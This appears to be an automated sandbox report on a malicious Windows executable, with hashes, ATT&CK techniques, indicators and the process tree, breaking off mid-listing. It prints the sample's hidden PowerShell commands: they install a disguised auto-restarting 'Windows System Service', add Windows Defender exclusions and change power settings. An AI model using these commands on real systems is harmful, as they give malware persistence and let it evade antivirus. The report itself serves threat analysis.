af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
23-06-2024 10:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
Size

36.5MB
MD5

0e12bdd2a8200d4c1f368750e2c87bfe
SHA1

6c8b533e2c7f6ebef027971c3a06f4c55ed64cfe
SHA256

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403
SHA512

909f15876f3a6cbe608eb53df4286927b013c45ff6acbc496a1590b9cc3fe47b1bb449ed45c3302f6d03cccb876cd2cc26f2b5e7c1ca4ff2d17dd4dee77bf75b
SSDEEP

393216:sYJEy4Te0rrigZ9BCbZPBKAgKBXSTzdOskYXXDeycerzHP+THt+/nDSpQg:sYJcrlZ9BGfg8XIJOkXXPCTV

Score

8^/10

execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3864	powershell.exe
3056	powershell.exe
4948	powershell.exe
1556	powershell.exe
4600	powershell.exe
3528	powershell.exe
4744	powershell.exe
4184	powershell.exe
3092	powershell.exe
4580	powershell.exe
3056	powershell.exe
2964	powershell.exe
4840	powershell.exe
3432	powershell.exe
5076	powershell.exe
3864	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Executes dropped EXE 5 IoCs

Processes:

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exewinsvc.exewinsvc.exeWINCFG.EXEWINNET.EXE

pid process

372 af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
996 winsvc.exe
2228 winsvc.exe
4952 WINCFG.EXE
1768 WINNET.EXE
Power Settings 1 TTPs 5 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

4956 powercfg.exe
3100 powercfg.exe
1508 powercfg.exe
4948 powercfg.exe
2816 powercfg.exe

pid	process
372	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
996	winsvc.exe
2228	winsvc.exe
4952	WINCFG.EXE
1768	WINNET.EXE

pid	process
4956	powercfg.exe
3100	powercfg.exe
1508	powercfg.exe
4948	powercfg.exe
2816	powercfg.exe

Drops file in System32 directory 21 IoCs

Processes:

powershell.exepowershell.exepowershell.exeWINNET.EXEaf77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewinsvc.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\data\router.keys	WINNET.EXE
File created	C:\Windows\system32\data\ntcp2.keys	WINNET.EXE
File created	C:\Windows\system32\data\ssu2.keys	WINNET.EXE
File opened for modification	C:\Windows\system32\.co980A.tmp	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\data\router.info	WINNET.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\winnet.exe	winsvc.exe
File opened for modification	C:\Windows\system32\wincfg.exe	winsvc.exe
File created	C:\Windows\system32\data\router.info	WINNET.EXE
File opened for modification	C:\Windows\System32\.co980A.tmp	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
File opened for modification	C:\Windows\system32\winsvc.exe	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

3328 sc.exe
1060 sc.exe
4260 sc.exe
4920 sc.exe

pid	process
3328	sc.exe
1060	sc.exe
4260	sc.exe
4920	sc.exe

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

Processes:

resource	yara_rule
C:\Windows\System32\winnet.exe	embeds_openssl

Kills process with taskkill 9 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
744	taskkill.exe
2964	taskkill.exe
2176	taskkill.exe
3228	taskkill.exe
5028	taskkill.exe
1724	taskkill.exe
4220	taskkill.exe
2528	taskkill.exe
3088	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewinsvc.exe

pid	process
3432	powershell.exe
3432	powershell.exe
4184	powershell.exe
4184	powershell.exe
5076	powershell.exe
5076	powershell.exe
4600	powershell.exe
4600	powershell.exe
3864	powershell.exe
3864	powershell.exe
3056	powershell.exe
3056	powershell.exe
3528	powershell.exe
3528	powershell.exe
2964	powershell.exe
2964	powershell.exe
3092	powershell.exe
3092	powershell.exe
4744	powershell.exe
4744	powershell.exe
1556	powershell.exe
1556	powershell.exe
4580	powershell.exe
4580	powershell.exe
4840	powershell.exe
4840	powershell.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe
2228	winsvc.exe

Suspicious use of AdjustPrivilegeToken 57 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowercfg.exepowershell.exepowercfg.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exepowershell.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	4184	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	3864	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	3528	powershell.exe
Token: SeShutdownPrivilege	2816	powercfg.exe
Token: SeCreatePagefilePrivilege	2816	powercfg.exe
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeShutdownPrivilege	4956	powercfg.exe
Token: SeCreatePagefilePrivilege	4956	powercfg.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeShutdownPrivilege	3100	powercfg.exe
Token: SeCreatePagefilePrivilege	3100	powercfg.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeShutdownPrivilege	1508	powercfg.exe
Token: SeCreatePagefilePrivilege	1508	powercfg.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeShutdownPrivilege	4948	powercfg.exe
Token: SeCreatePagefilePrivilege	4948	powercfg.exe
Token: SeDebugPrivilege	4220	taskkill.exe
Token: SeDebugPrivilege	2176	taskkill.exe
Token: SeDebugPrivilege	3228	taskkill.exe
Token: SeDebugPrivilege	5028	taskkill.exe
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4580	powershell.exe
Token: SeIncreaseQuotaPrivilege	4580	powershell.exe
Token: SeSecurityPrivilege	4580	powershell.exe
Token: SeTakeOwnershipPrivilege	4580	powershell.exe
Token: SeLoadDriverPrivilege	4580	powershell.exe
Token: SeSystemtimePrivilege	4580	powershell.exe
Token: SeBackupPrivilege	4580	powershell.exe
Token: SeRestorePrivilege	4580	powershell.exe
Token: SeShutdownPrivilege	4580	powershell.exe
Token: SeSystemEnvironmentPrivilege	4580	powershell.exe
Token: SeUndockPrivilege	4580	powershell.exe
Token: SeManageVolumePrivilege	4580	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4840	powershell.exe
Token: SeIncreaseQuotaPrivilege	4840	powershell.exe
Token: SeSecurityPrivilege	4840	powershell.exe
Token: SeTakeOwnershipPrivilege	4840	powershell.exe
Token: SeLoadDriverPrivilege	4840	powershell.exe
Token: SeSystemtimePrivilege	4840	powershell.exe
Token: SeBackupPrivilege	4840	powershell.exe
Token: SeRestorePrivilege	4840	powershell.exe
Token: SeShutdownPrivilege	4840	powershell.exe
Token: SeSystemEnvironmentPrivilege	4840	powershell.exe
Token: SeUndockPrivilege	4840	powershell.exe
Token: SeManageVolumePrivilege	4840	powershell.exe
Token: SeDebugPrivilege	2528	taskkill.exe
Token: SeDebugPrivilege	744	taskkill.exe
Token: SeDebugPrivilege	3088	taskkill.exe
Token: SeDebugPrivilege	2964	taskkill.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	1724	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exeaf77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exewinsvc.exepowershell.exepowershell.exepowershell.exepowershell.exewinsvc.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4620 wrote to memory of 372	4620	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
PID 4620 wrote to memory of 372	4620	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
PID 372 wrote to memory of 996	372	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	winsvc.exe
PID 372 wrote to memory of 996	372	af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe	winsvc.exe
PID 996 wrote to memory of 3432	996	winsvc.exe	powershell.exe
PID 996 wrote to memory of 3432	996	winsvc.exe	powershell.exe
PID 3432 wrote to memory of 4920	3432	powershell.exe	sc.exe
PID 3432 wrote to memory of 4920	3432	powershell.exe	sc.exe
PID 996 wrote to memory of 4184	996	winsvc.exe	powershell.exe
PID 996 wrote to memory of 4184	996	winsvc.exe	powershell.exe
PID 4184 wrote to memory of 3328	4184	powershell.exe	sc.exe
PID 4184 wrote to memory of 3328	4184	powershell.exe	sc.exe
PID 996 wrote to memory of 5076	996	winsvc.exe	powershell.exe
PID 996 wrote to memory of 5076	996	winsvc.exe	powershell.exe
PID 5076 wrote to memory of 1060	5076	powershell.exe	sc.exe
PID 5076 wrote to memory of 1060	5076	powershell.exe	sc.exe
PID 996 wrote to memory of 4600	996	winsvc.exe	powershell.exe
PID 996 wrote to memory of 4600	996	winsvc.exe	powershell.exe
PID 4600 wrote to memory of 4260	4600	powershell.exe	sc.exe
PID 4600 wrote to memory of 4260	4600	powershell.exe	sc.exe
PID 2228 wrote to memory of 3864	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 3864	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 3056	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 3056	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 3528	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 3528	2228	winsvc.exe	powershell.exe
PID 3528 wrote to memory of 2816	3528	powershell.exe	powercfg.exe
PID 3528 wrote to memory of 2816	3528	powershell.exe	powercfg.exe
PID 2228 wrote to memory of 2964	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 2964	2228	winsvc.exe	powershell.exe
PID 2964 wrote to memory of 4956	2964	powershell.exe	powercfg.exe
PID 2964 wrote to memory of 4956	2964	powershell.exe	powercfg.exe
PID 2228 wrote to memory of 3092	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 3092	2228	winsvc.exe	powershell.exe
PID 3092 wrote to memory of 3100	3092	powershell.exe	powercfg.exe
PID 3092 wrote to memory of 3100	3092	powershell.exe	powercfg.exe
PID 2228 wrote to memory of 4744	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 4744	2228	winsvc.exe	powershell.exe
PID 4744 wrote to memory of 1508	4744	powershell.exe	powercfg.exe
PID 4744 wrote to memory of 1508	4744	powershell.exe	powercfg.exe
PID 2228 wrote to memory of 1556	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 1556	2228	winsvc.exe	powershell.exe
PID 1556 wrote to memory of 4948	1556	powershell.exe	powercfg.exe
PID 1556 wrote to memory of 4948	1556	powershell.exe	powercfg.exe
PID 2228 wrote to memory of 4220	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 4220	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 2176	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 2176	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 3228	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 3228	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 5028	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 5028	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 4580	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 4580	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 4840	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 4840	2228	winsvc.exe	powershell.exe
PID 2228 wrote to memory of 744	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 744	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 2528	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 2528	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 2964	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 2964	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 3088	2228	winsvc.exe	taskkill.exe
PID 2228 wrote to memory of 3088	2228	winsvc.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
"C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4620

C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-fe07e4be3654928b\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe
"C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-fe07e4be3654928b\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:372

C:\Windows\system32\winsvc.exe
"C:\Windows\system32\winsvc.exe" "C:\Users\Admin\AppData\Local\Temp\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403-fe07e4be3654928b\af77c0b6a10ac159b0e3c87c02e16a2b44daab8e67fe097327e90ae48f814403.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "create" "winsvc" "type=own" "start=auto" "error=ignore" "binPath=\"C:\Windows\system32\winsvc.exe\"" "DisplayName=\"Windows System Service\""
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3432

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" create winsvc type=own start=auto error=ignore binPath=C:\Windows\system32\winsvc.exe "DisplayName=Windows System Service"
5⤵
- Launches sc.exe
PID:4920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "failure" "winsvc" "reset=0" "actions=restart/0/restart/0/restart/0"
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4184

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" failure winsvc reset=0 actions=restart/0/restart/0/restart/0
5⤵
- Launches sc.exe
PID:3328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "description" "winsvc" "\"Windows System Service is the main system supervision service.\""
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5076

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" description winsvc "Windows System Service is the main system supervision service."
5⤵
- Launches sc.exe
PID:1060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "\"C:\Windows\system32\sc.exe\"" "start" "winsvc"
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4600

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" start winsvc
5⤵
- Launches sc.exe
PID:4260

C:\Windows\system32\winsvc.exe
C:\Windows\system32\winsvc.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\system32\""
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "Add-MpPreference" "-ExclusionPath" "\"C:\Windows\Temp\""
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" "-WindowStyle" "Hidden" "-Command" "&" "powercfg.exe" "-SETACTIVE" "8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c"
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3528

C:\Windows\system32\powercfg.exe
"C:\Windows\system32\powercfg.exe" -SETACTIVE 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
3⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
